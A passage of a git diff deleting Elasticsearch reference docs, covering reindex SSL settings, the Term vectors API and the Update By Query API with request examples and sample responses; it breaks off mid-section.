-`reindex.ssl.truststore.password`::
-The password to the truststore (`reindex.ssl.truststore.path`).
-This setting cannot be used with `reindex.ssl.truststore.secure_password`.
-
-`reindex.ssl.truststore.secure_password` (<<secure-settings,Secure>>)::
-The password to the truststore (`reindex.ssl.truststore.path`).
-This setting cannot be used with `reindex.ssl.truststore.password`.
-
-`reindex.ssl.truststore.type`::
-The type of the truststore (`reindex.ssl.truststore.path`).
-Must be either `jks` or `PKCS12`. If the truststore path ends in ".p12", ".pfx"
-or "pkcs12", this setting defaults to `PKCS12`. Otherwise, it defaults to `jks`.
-
-`reindex.ssl.verification_mode`::
-Indicates the type of verification to protect against man in the middle attacks
-and certificate forgery.
-One of `full` (verify the hostname and the certificate path), `certificate`
-(verify the certificate path, but not the hostname) or `none` (perform no
-verification - this is strongly discouraged in production environments).
-Defaults to `full`.
-
-`reindex.ssl.certificate`::
-Specifies the path to the PEM encoded certificate (or certificate chain) to be
-used for HTTP client authentication (if required by the remote cluster)
-This setting requires that `reindex.ssl.key` also be set.
-You cannot specify both `reindex.ssl.certificate` and `reindex.ssl.keystore.path`.
-
-`reindex.ssl.key`::
-Specifies the path to the PEM encoded private key associated with the
-certificate used for client authentication (`reindex.ssl.certificate`).
-You cannot specify both `reindex.ssl.key` and `reindex.ssl.keystore.path`.
-
-`reindex.ssl.key_passphrase`::
-Specifies the passphrase to decrypt the PEM encoded private key
-(`reindex.ssl.key`) if it is encrypted.
-Cannot be used with `reindex.ssl.secure_key_passphrase`.
-
-`reindex.ssl.secure_key_passphrase` (<<secure-settings,Secure>>)::
-Specifies the passphrase to decrypt the PEM encoded private key
-(`reindex.ssl.key`) if it is encrypted.
-Cannot be used with `reindex.ssl.key_passphrase`.
-
-`reindex.ssl.keystore.path`::
-Specifies the path to the keystore that contains a private key and certificate
-to be used for HTTP client authentication (if required by the remote cluster).
-This keystore can be in "JKS" or "PKCS#12" format.
-You cannot specify both `reindex.ssl.key` and `reindex.ssl.keystore.path`.
-
-`reindex.ssl.keystore.type`::
-The type of the keystore (`reindex.ssl.keystore.path`). Must be either `jks` or `PKCS12`.
-If the keystore path ends in ".p12", ".pfx" or "pkcs12", this setting defaults
-to `PKCS12`. Otherwise, it defaults to `jks`.
-
-`reindex.ssl.keystore.password`::
-The password to the keystore (`reindex.ssl.keystore.path`). This setting cannot be used
-with `reindex.ssl.keystore.secure_password`.
-
-`reindex.ssl.keystore.secure_password` (<<secure-settings,Secure>>)::
-The password to the keystore (`reindex.ssl.keystore.path`).
-This setting cannot be used with `reindex.ssl.keystore.password`.
-
-`reindex.ssl.keystore.key_password`::
-The password for the key in the keystore (`reindex.ssl.keystore.path`).
-Defaults to the keystore password. This setting cannot be used with
-`reindex.ssl.keystore.secure_key_password`.
-
-`reindex.ssl.keystore.secure_key_password` (<<secure-settings,Secure>>)::
-The password for the key in the keystore (`reindex.ssl.keystore.path`).
-Defaults to the keystore password. This setting cannot be used with
-`reindex.ssl.keystore.key_password`.
diff --git a/docs/reference/docs/termvectors.asciidoc b/docs/reference/docs/termvectors.asciidoc
deleted file mode 100644
index 8cd4e11232e..00000000000
--- a/docs/reference/docs/termvectors.asciidoc
+++ /dev/null
@@ -1,478 +0,0 @@
-[[docs-termvectors]]
-=== Term vectors API
-++++
-<titleabbrev>Term vectors</titleabbrev>
-++++
-
-Retrieves information and statistics for terms in the fields of a particular document. 
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_termvectors/1
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-termvectors-api-request]]
-==== {api-request-title}
-
-`GET /<index>/_termvectors/<_id>`
-
-[[docs-termvectors-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `read`
-<<privileges-list-indices,index privilege>> for the target index or index alias.
-
-[[docs-termvectors-api-desc]]
-==== {api-description-title}
-
-You can retrieve term vectors for documents stored in the index or 
-for _artificial_ documents passed in the body of the request. 
-
-You can specify the fields you are interested in through the `fields` parameter,
-or by adding the fields to the request body. 
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_termvectors/1?fields=message
---------------------------------------------------
-// TEST[setup:my_index]
-
-Fields can be specified using wildcards, similar to the <<query-dsl-multi-match-query,multi match query>>.
-
-Term vectors are <<realtime,real-time>> by default, not near real-time. 
-This can be changed by setting `realtime` parameter to `false`.
-
-You can request three types of values: _term information_, _term statistics_
-and _field statistics_. By default, all term information and field
-statistics are returned for all fields but term statistics are excluded.
-
-[[docs-termvectors-api-term-info]]
-===== Term information
-
- * term frequency in the field (always returned)
- * term positions (`positions` : true)
- * start and end offsets (`offsets` : true)
- * term payloads (`payloads` : true), as base64 encoded bytes
-
-If the requested information wasn't stored in the index, it will be
-computed on the fly if possible. Additionally, term vectors could be computed
-for documents not even existing in the index, but instead provided by the user.
-
-[WARNING]
-======
-Start and end offsets assume UTF-16 encoding is being used. If you want to use
-these offsets in order to get the original text that produced this token, you
-should make sure that the string you are taking a sub-string of is also encoded
-using UTF-16.
-======
-
-[[docs-termvectors-api-term-stats]]
-===== Term statistics
-
-Setting `term_statistics` to `true` (default is `false`) will
-return
-
- * total term frequency (how often a term occurs in all documents) +
- * document frequency (the number of documents containing the current
-   term)
-
-By default these values are not returned since term statistics can
-have a serious performance impact.
-
-[[docs-termvectors-api-field-stats]]
-===== Field statistics
-
-Setting `field_statistics` to `false` (default is `true`) will
-omit :
-
- * document count (how many documents contain this field)
- * sum of document frequencies (the sum of document frequencies for all
-   terms in this field)
- * sum of total term frequencies (the sum of total term frequencies of
-   each term in this field)
-
-[[docs-termvectors-api-terms-filtering]]
-===== Terms filtering
-
-With the parameter `filter`, the terms returned could also be filtered based
-on their tf-idf scores. This could be useful in order find out a good
-characteristic vector of a document. This feature works in a similar manner to
-the <<mlt-query-term-selection,second phase>> of the
-<<query-dsl-mlt-query,More Like This Query>>. See <<docs-termvectors-terms-filtering,example 5>>
-for usage.
-
-The following sub-parameters are supported:
-
-[horizontal]
-`max_num_terms`::
-  Maximum number of terms that must be returned per field. Defaults to `25`.
-`min_term_freq`::
-  Ignore words with less than this frequency in the source doc. Defaults to `1`.
-`max_term_freq`::
-  Ignore words with more than this frequency in the source doc. Defaults to unbounded.
-`min_doc_freq`::
-  Ignore terms which do not occur in at least this many docs. Defaults to `1`.
-`max_doc_freq`::
-  Ignore words which occur in more than this many docs. Defaults to unbounded.
-`min_word_length`::
-  The minimum word length below which words will be ignored. Defaults to `0`.
-`max_word_length`::
-  The maximum word length above which words will be ignored. Defaults to unbounded (`0`).
-
-[[docs-termvectors-api-behavior]]
-==== Behaviour
-
-The term and field statistics are not accurate. Deleted documents
-are not taken into account. The information is only retrieved for the
-shard the requested document resides in.
-The term and field statistics are therefore only useful as relative measures
-whereas the absolute numbers have no meaning in this context. By default,
-when requesting term vectors of artificial documents, a shard to get the statistics
-from is randomly selected. Use `routing` only to hit a particular shard.
-
-[[docs-termvectors-api-path-params]]
-==== {api-path-parms-title}
-
-`<index>`::
-(Required, string) Name of the index that contains the document.
-
-`<_id>`::
-(Optional, string) Unique identifier of the document.
-
-[[docs-termvectors-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=fields]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=field_statistics]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=offsets]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=payloads]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=positions]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=realtime]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=term_statistics]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version_type]
-
-[[docs-termvectors-api-example]]
-==== {api-examples-title}
-
-[[docs-termvectors-api-stored-termvectors]]
-===== Returning stored term vectors
-
-First, we create an index that stores term vectors, payloads etc. :
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001
-{ "mappings": {
-    "properties": {
-      "text": {
-        "type": "text",
-        "term_vector": "with_positions_offsets_payloads",
-        "store" : true,
-        "analyzer" : "fulltext_analyzer"
-       },
-       "fullname": {
-        "type": "text",
-        "term_vector": "with_positions_offsets_payloads",
-        "analyzer" : "fulltext_analyzer"
-      }
-    }
-  },
-  "settings" : {
-    "index" : {
-      "number_of_shards" : 1,
-      "number_of_replicas" : 0
-    },
-    "analysis": {
-      "analyzer": {
-        "fulltext_analyzer": {
-          "type": "custom",
-          "tokenizer": "whitespace",
-          "filter": [
-            "lowercase",
-            "type_as_payload"
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Second, we add some documents:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_doc/1
-{
-  "fullname" : "John Doe",
-  "text" : "test test test "
-}
-
-PUT /my-index-000001/_doc/2?refresh=wait_for
-{
-  "fullname" : "Jane Doe",
-  "text" : "Another test ..."
-}
---------------------------------------------------
-// TEST[continued]
-
-The following request returns all information and statistics for field
-`text` in document `1` (John Doe):
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_termvectors/1
-{
-  "fields" : ["text"],
-  "offsets" : true,
-  "payloads" : true,
-  "positions" : true,
-  "term_statistics" : true,
-  "field_statistics" : true
-}
---------------------------------------------------
-// TEST[continued]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_id": "1",
-  "_version": 1,
-  "found": true,
-  "took": 6,
-  "term_vectors": {
-    "text": {
-      "field_statistics": {
-        "sum_doc_freq": 4,
-        "doc_count": 2,
-        "sum_ttf": 6
-      },
-      "terms": {
-        "test": {
-          "doc_freq": 2,
-          "ttf": 4,
-          "term_freq": 3,
-          "tokens": [
-            {
-              "position": 0,
-              "start_offset": 0,
-              "end_offset": 4,
-              "payload": "d29yZA=="
-            },
-            {
-              "position": 1,
-              "start_offset": 5,
-              "end_offset": 9,
-              "payload": "d29yZA=="
-            },
-            {
-              "position": 2,
-              "start_offset": 10,
-              "end_offset": 14,
-              "payload": "d29yZA=="
-            }
-          ]
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TESTRESPONSE[s/"took": 6/"took": "$body.took"/]
-
-[[docs-termvectors-api-generate-termvectors]]
-===== Generating term vectors on the fly
-
-Term vectors which are not explicitly stored in the index are automatically
-computed on the fly. The following request returns all information and statistics for the
-fields in document `1`, even though the terms haven't been explicitly stored in the index.
-Note that for the field `text`, the terms are not re-generated.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_termvectors/1
-{
-  "fields" : ["text", "some_field_without_term_vectors"],
-  "offsets" : true,
-  "positions" : true,
-  "term_statistics" : true,
-  "field_statistics" : true
-}
---------------------------------------------------
-// TEST[continued]
-
-[[docs-termvectors-artificial-doc]]
-===== Artificial documents
-
-Term vectors can also be generated for artificial documents,
-that is for documents not present in the index.  For example, the following request would
-return the same results as in example 1. The mapping used is determined by the `index`.
-
-*If dynamic mapping is turned on (default), the document fields not in the original
-mapping will be dynamically created.*
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_termvectors
-{
-  "doc" : {
-    "fullname" : "John Doe",
-    "text" : "test test test"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[[docs-termvectors-per-field-analyzer]]
-====== Per-field analyzer
-
-Additionally, a different analyzer than the one at the field may be provided
-by using the `per_field_analyzer` parameter. This is useful in order to
-generate term vectors in any fashion, especially when using artificial
-documents. When providing an analyzer for a field that already stores term
-vectors, the term vectors will be re-generated.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_termvectors
-{
-  "doc" : {
-    "fullname" : "John Doe",
-    "text" : "test test test"
-  },
-  "fields": ["fullname"],
-  "per_field_analyzer" : {
-    "fullname": "keyword"
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "_index": "my-index-000001",
-  "_type": "_doc",
-  "_version": 0,
-  "found": true,
-  "took": 6,
-  "term_vectors": {
-    "fullname": {
-       "field_statistics": {
-          "sum_doc_freq": 2,
-          "doc_count": 4,
-          "sum_ttf": 4
-       },
-       "terms": {
-          "John Doe": {
-             "term_freq": 1,
-             "tokens": [
-                {
-                   "position": 0,
-                   "start_offset": 0,
-                   "end_offset": 8
-                }
-             ]
-          }
-       }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TESTRESPONSE[s/"took": 6/"took": "$body.took"/]
-// TESTRESPONSE[s/"sum_doc_freq": 2/"sum_doc_freq": "$body.term_vectors.fullname.field_statistics.sum_doc_freq"/]
-// TESTRESPONSE[s/"doc_count": 4/"doc_count": "$body.term_vectors.fullname.field_statistics.doc_count"/]
-// TESTRESPONSE[s/"sum_ttf": 4/"sum_ttf": "$body.term_vectors.fullname.field_statistics.sum_ttf"/]
-
-
-[[docs-termvectors-terms-filtering]]
-===== Terms filtering
-
-Finally, the terms returned could be filtered based on their tf-idf scores. In
-the example below we obtain the three most "interesting" keywords from the
-artificial document having the given "plot" field value. Notice
-that the keyword "Tony" or any stop words are not part of the response, as
-their tf-idf must be too low.
-
-[source,console]
---------------------------------------------------
-GET /imdb/_termvectors
-{
-  "doc": {
-    "plot": "When wealthy industrialist Tony Stark is forced to build an armored suit after a life-threatening incident, he ultimately decides to use its technology to fight against evil."
-  },
-  "term_statistics": true,
-  "field_statistics": true,
-  "positions": false,
-  "offsets": false,
-  "filter": {
-    "max_num_terms": 3,
-    "min_term_freq": 1,
-    "min_doc_freq": 1
-  }
-}
---------------------------------------------------
-// TEST[skip:no imdb test index]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "_index": "imdb",
-   "_type": "_doc",
-   "_version": 0,
-   "found": true,
-   "term_vectors": {
-      "plot": {
-         "field_statistics": {
-            "sum_doc_freq": 3384269,
-            "doc_count": 176214,
-            "sum_ttf": 3753460
-         },
-         "terms": {
-            "armored": {
-               "doc_freq": 27,
-               "ttf": 27,
-               "term_freq": 1,
-               "score": 9.74725
-            },
-            "industrialist": {
-               "doc_freq": 88,
-               "ttf": 88,
-               "term_freq": 1,
-               "score": 8.590818
-            },
-            "stark": {
-               "doc_freq": 44,
-               "ttf": 47,
-               "term_freq": 1,
-               "score": 9.272792
-            }
-         }
-      }
-   }
-}
---------------------------------------------------
diff --git a/docs/reference/docs/update-by-query.asciidoc b/docs/reference/docs/update-by-query.asciidoc
deleted file mode 100644
index 72e52071b9a..00000000000
--- a/docs/reference/docs/update-by-query.asciidoc
+++ /dev/null
@@ -1,794 +0,0 @@
-[[docs-update-by-query]]
-=== Update By Query API
-++++
-<titleabbrev>Update by query</titleabbrev>
-++++
-
-Updates documents that match the specified query.
-If no query is specified, performs an update on every document in the data stream or index without
-modifying the source, which is useful for picking up mapping changes.
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_update_by_query?conflicts=proceed
---------------------------------------------------
-// TEST[setup:my_index_big]
-
-////
-
-[source,console-result]
---------------------------------------------------
-{
-  "took" : 147,
-  "timed_out": false,
-  "updated": 120,
-  "deleted": 0,
-  "batches": 1,
-  "version_conflicts": 0,
-  "noops": 0,
-  "retries": {
-    "bulk": 0,
-    "search": 0
-  },
-  "throttled_millis": 0,
-  "requests_per_second": -1.0,
-  "throttled_until_millis": 0,
-  "total": 120,
-  "failures" : [ ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took" : 147/"took" : "$body.took"/]
-
-////
-
-[[docs-update-by-query-api-request]]
-==== {api-request-title}
-
-`POST /<target>/_update_by_query`
-
-[[docs-update-by-query-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the following
-<<privileges-list-indices,index privileges>> for the target data stream, index,
-or index alias:
-
-** `read`
-** `index` or `write`
-
-[[docs-update-by-query-api-desc]]
-==== {api-description-title}
-
-You can specify the query criteria in the request URI or the request body
-using the same syntax as the  <<search-search,Search API>>.
-
-When you submit an update by query request, {es} gets a snapshot of the data stream or index
-when it begins processing the request and updates matching documents using
-`internal` versioning.
-When the versions match, the document is updated and the version number is incremented.
-If a document changes between the time that the snapshot is taken and
-the update operation is processed, it results in a version conflict and the operation fails.
-You can opt to count version conflicts instead of halting and returning by
-setting `conflicts` to `proceed`.
-
-NOTE: Documents with a version equal to 0 cannot be updated using update by
-query because `internal` versioning does not support 0 as a valid
-version number.
-
-While processing an update by query request, {es} performs multiple search
-requests sequentially to find all of the matching documents.
-A bulk update request is performed for each batch of matching documents.
-Any query or update failures cause the update by query request to fail and
-the failures are shown in the response.
-Any update requests that completed successfully still stick, they are not rolled back.
-
-===== Refreshing shards
-
-Specifying the `refresh` parameter refreshes all shards once the request completes.
-This is different than the update API's `refresh` parameter, which causes just the shard
-that received the request to be refreshed. Unlike the update API, it does not support
-`wait_for`.
-
-[[docs-update-by-query-task-api]]
-===== Running update by query asynchronously
-
-If the request contains `wait_for_completion=false`, {es}
-performs some preflight checks, launches the request, and returns a
-<<tasks,`task`>> you can use to cancel or get the status of the task.
-{es} creates a record of this task as a document at `.tasks/task/${taskId}`.
-When you are done with a task, you should delete the task document so
-{es} can reclaim the space.
-
-===== Waiting for active shards
-
-`wait_for_active_shards` controls how many copies of a shard must be active
-before proceeding with the request. See <<index-wait-for-active-shards>>
-for details. `timeout` controls how long each write request waits for unavailable
-shards to become available. Both work exactly the way they work in the
-<<docs-bulk,Bulk API>>. Update by query uses scrolled searches, so you can also
-specify the `scroll` parameter to control how long it keeps the search context
-alive, for example `?scroll=10m`. The default is 5 minutes.
-
-===== Throttling update requests
-
-To control the rate at which update by query issues batches of update operations,
-you can set `requests_per_second` to any positive decimal number. This pads each
-batch with a wait time to throttle the rate. Set `requests_per_second` to `-1`
-to disable throttling.
-
-Throttling uses a wait time between batches so that the internal scroll requests
-can be given a timeout that takes the request padding into account. The padding
-time is the difference between the batch size divided by the
-`requests_per_second` and the time spent writing.  By default the batch size is
-`1000`, so if `requests_per_second` is set to `500`:
-
-[source,txt]
---------------------------------------------------
-target_time = 1000 / 500 per second = 2 seconds
-wait_time = target_time - write_time = 2 seconds - .5 seconds = 1.5 seconds
---------------------------------------------------
-
-Since the batch is issued as a single `_bulk` request, large batch sizes
-cause {es} to create many requests and wait before starting the next set.
-This is "bursty" instead of "smooth".
-
-[[docs-update-by-query-slice]]
-===== Slicing
-
-Update by query supports <<slice-scroll, sliced scroll>> to parallelize the
-update process. This can improve efficiency and provide a
-convenient way to break the request down into smaller parts.
-
-Setting `slices` to `auto` chooses a reasonable number for most data streams and indices.
-If you're slicing manually or otherwise tuning automatic slicing, keep in mind
-that:
-
-* Query performance is most efficient when the number of `slices` is equal to
-the number of shards in the index or backing index. If that number is large (for example,
-500), choose a lower number as too many `slices` hurts performance. Setting
-`slices` higher than the number of shards generally does not improve efficiency
-and adds overhead.
-
-* Update performance scales linearly across available resources with the
-number of slices.
-
-Whether query or update performance dominates the runtime depends on the
-documents being reindexed and cluster resources.
-
-[[docs-update-by-query-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases to search.
-Wildcard (`*`) expressions are supported.
-+
-To search all data streams or indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[docs-update-by-query-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyzer]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=analyze_wildcard]
-
-`conflicts`::
-  (Optional, string) What to do if update by query hits version conflicts:
-  `abort` or `proceed`. Defaults to `abort`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=default_operator]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=df]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=from]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=lenient]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=max_docs]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=pipeline]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search-q]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=request_cache]
-
-`refresh`::
-(Optional, Boolean)
-If `true`, {es} refreshes affected shards to make the operation visible to
-search. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=requests_per_second]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-`scroll`::
-(Optional, <<time-units,time value>>)
-Period to retain the <<scroll-search-context,search context>> for scrolling. See
-<<scroll-search-results>>.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=scroll_size]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search_type]
-
-`search_timeout`::
-(Optional, <<time-units, time units>>)
-Explicit timeout for each search request.
-Defaults to no timeout.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=slices]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sort]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_excludes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source_includes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=stats]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=terminate_after]
-
-`timeout`::
-+
---
-(Optional, <<time-units, time units>>)
-Period each update request waits for the following operations:
-
-* Dynamic mapping updates
-* <<index-wait-for-active-shards,Waiting for active shards>>
-
-Defaults to `1m` (one minute). This guarantees {es} waits for at least the
-timeout before failing. The actual wait time could be longer, particularly when
-multiple waits occur.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=version]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=wait_for_active_shards]
-
-[[docs-update-by-query-api-request-body]]
-==== {api-request-body-title}
-
-`query`::
-  (Optional, <<query-dsl,query object>>) Specifies the documents to update
-  using the  <<query-dsl,Query DSL>>.
-
-
-[[docs-update-by-query-api-response-body]]
-==== Response body
-
-`took`::
-The number of milliseconds from start to end of the whole operation.
-
-`timed_out`::
-This flag is set to `true` if any of the requests executed during the
-update by query execution has timed out.
-
-`total`::
-The number of documents that were successfully processed.
-
-`updated`::
-The number of documents that were successfully updated.
-
-`deleted`::
-The number of documents that were successfully deleted.
-
-`batches`::
-The number of scroll responses pulled back by the update by query.
-
-`version_conflicts`::
-The number of version conflicts that the update by query hit.
-
-`noops`::
-The number of documents that were ignored because the script used for
-the update by query returned a `noop` value for `ctx.op`.
-
-`retries`::
-The number of retries attempted by update by query. `bulk` is the number of bulk
-actions retried, and `search` is the number of search actions retried.
-
-`throttled_millis`::
-Number of milliseconds the request slept to conform to `requests_per_second`.
-
-`requests_per_second`::
-The number of requests per second effectively executed during the update by query.
-
-`throttled_until_millis`::
-This field should always be equal to zero in an `_update_by_query` response. It only
-has meaning when using the <<docs-update-by-query-task-api, Task API>>, where it
-indicates the next time (in milliseconds since epoch) a throttled request will be
-executed again in order to conform to `requests_per_second`.
-
-`failures`::
-Array of failures if there were any unrecoverable errors during the process. If
-this is non-empty then the request aborted because of those failures.
-Update by query is implemented using batches. Any failure causes the entire
-process to abort, but all failures in the current batch are collected into the
-array. You can use the `conflicts` option to prevent reindex from aborting on
-version conflicts.
-
-[[docs-update-by-query-api-example]]
-==== {api-examples-title}
-
-The simplest usage of `_update_by_query` just performs an update on every
-document in the data stream or index without changing the source. This is useful to
-<<picking-up-a-new-property,pick up a new property>> or some other online
-mapping change.
-
-To update selected documents, specify a query in the request body:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_update_by_query?conflicts=proceed
-{
-  "query": { <1>
-    "term": {
-      "user.id": "kimchy"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-
-<1> The query must be passed as a value to the `query` key, in the same
-way as the <<search-search,Search API>>. You can also use the `q`
-parameter in the same way as the search API.
-
-Update documents in multiple data streams or indices:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001,my-index-000002/_update_by_query
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\nPUT my-index-000002\n/]
-
-Limit the update by query operation to shards that a particular routing value:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_update_by_query?routing=1
---------------------------------------------------
-// TEST[setup:my_index]
-
-By default update by query uses scroll batches of 1000.
-You can change the batch size with the `scroll_size` parameter:
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_update_by_query?scroll_size=100
---------------------------------------------------
-// TEST[setup:my_index]
-
-[[docs-update-by-query-api-source]]
-===== Update the document source
-
-Update by query supports scripts to update the document source.
-For example, the following request increments the `count` field for all
-documents with a `user.id` of `kimchy` in `my-index-000001`:
-
-////
-[source,console]
-----
-PUT my-index-000001/_create/1
-{
-  "user": {
-    "id": "kimchy"
-  },
-  "count": 1
-}
-----
-////
-
-[source,console]
---------------------------------------------------
-POST my-index-000001/_update_by_query
-{
-  "script": {
-    "source": "ctx._source.count++",
-    "lang": "painless"
-  },
-  "query": {
-    "term": {
-      "user.id": "kimchy"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-Note that `conflicts=proceed` is not specified in this example. In this case, a
-version conflict should halt the process so you can handle the failure.
-
-As with the <<docs-update,Update API>>, you can set `ctx.op` to change the
-operation that is performed:
-
-[horizontal]
-`noop`::
-Set `ctx.op = "noop"` if your script decides that it doesn't have to make any changes.
-The update by query operation skips updating the document and increments the  `noop` counter.
-
-`delete`::
-Set `ctx.op = "delete"` if your script decides that the document should be deleted.
-The update by query operation deletes the document and increments the  `deleted` counter.
-
-Update by query only supports `update`, `noop`, and `delete`.
-Setting `ctx.op` to anything else is an error. Setting any other field in `ctx` is an error.
-This API only enables you to modify the source of matching documents, you cannot move them.
-
-[[docs-update-by-query-api-ingest-pipeline]]
-===== Update documents using an ingest pipeline
-
-Update by query can use the <<ingest>> feature by specifying a `pipeline`:
-
-[source,console]
---------------------------------------------------
-PUT _ingest/pipeline/set-foo
-{
-  "description" : "sets foo",
-  "processors" : [ {
-      "set" : {
-        "field": "foo",
-        "value": "bar"
-      }
-  } ]
-}
-POST my-index-000001/_update_by_query?pipeline=set-foo
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[discrete]
-[[docs-update-by-query-fetch-tasks]]
-===== Get the status of update by query operations
-
-You can fetch the status of all running update by query requests with the
-<<tasks,Task API>>:
-
-[source,console]
---------------------------------------------------
-GET _tasks?detailed=true&actions=*byquery
---------------------------------------------------
-// TEST[skip:No tasks to retrieve]
-
-The responses looks like:
-
-[source,console-result]
---------------------------------------------------
-{
-  "nodes" : {
-    "r1A2WoRbTwKZ516z6NEs5A" : {
-      "name" : "r1A2WoR",
-      "transport_address" : "127.0.0.1:9300",
-      "host" : "127.0.0.1",
-      "ip" : "127.0.0.1:9300",
-      "attributes" : {
-        "testattr" : "test",
-        "portsfile" : "true"
-      },
-      "tasks" : {
-        "r1A2WoRbTwKZ516z6NEs5A:36619" : {
-          "node" : "r1A2WoRbTwKZ516z6NEs5A",
-          "id" : 36619,
-          "type" : "transport",
-          "action" : "indices:data/write/update/byquery",
-          "status" : {    <1>
-            "total" : 6154,
-            "updated" : 3500,
-            "created" : 0,
-            "deleted" : 0,
-            "batches" : 4,
-            "version_conflicts" : 0,
-            "noops" : 0,
-            "retries": {
-              "bulk": 0,
-              "search": 0
-            },
-            "throttled_millis": 0
-          },
-          "description" : ""
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This object contains the actual status. It is just like the response JSON
-with the important addition of the `total` field. `total` is the total number
-of operations that the reindex expects to perform. You can estimate the
-progress by adding the `updated`, `created`, and `deleted` fields. The request
-will finish when their sum is equal to the `total` field.
-
-With the task id you can look up the task directly. The following example
-retrieves information about task `r1A2WoRbTwKZ516z6NEs5A:36619`:
-
-[source,console]
---------------------------------------------------
-GET /_tasks/r1A2WoRbTwKZ516z6NEs5A:36619
---------------------------------------------------
-// TEST[catch:missing]
-
-The advantage of this API is that it integrates with `wait_for_completion=false`
-to transparently return the status of completed tasks. If the task is completed
-and `wait_for_completion=false` was set on it, then it'll come back with a
-`results` or an `error` field. The cost of this feature is the document that
-`wait_for_completion=false` creates at `.tasks/task/${taskId}`. It is up to
-you to delete that document.
-
-
-[discrete]
-[[docs-update-by-query-cancel-task-api]]
-===== Cancel an update by query operation
-
-Any update by query can be cancelled using the <<tasks,Task Cancel API>>:
-
-[source,console]
---------------------------------------------------
-POST _tasks/r1A2WoRbTwKZ516z6NEs5A:36619/_cancel
---------------------------------------------------
-
-The task ID can be found using the <<tasks,tasks API>>.
-
-Cancellation should happen quickly but might take a few seconds. The task status
-API above will continue to list the update by query task until this task checks
-that it has been cancelled and terminates itself.
-
-
-[discrete]
-[[docs-update-by-query-rethrottle]]
-===== Change throttling for a request
-
-The value of `requests_per_second` can be changed on a running update by query
-using the `_rethrottle` API:
-
-[source,console]
---------------------------------------------------
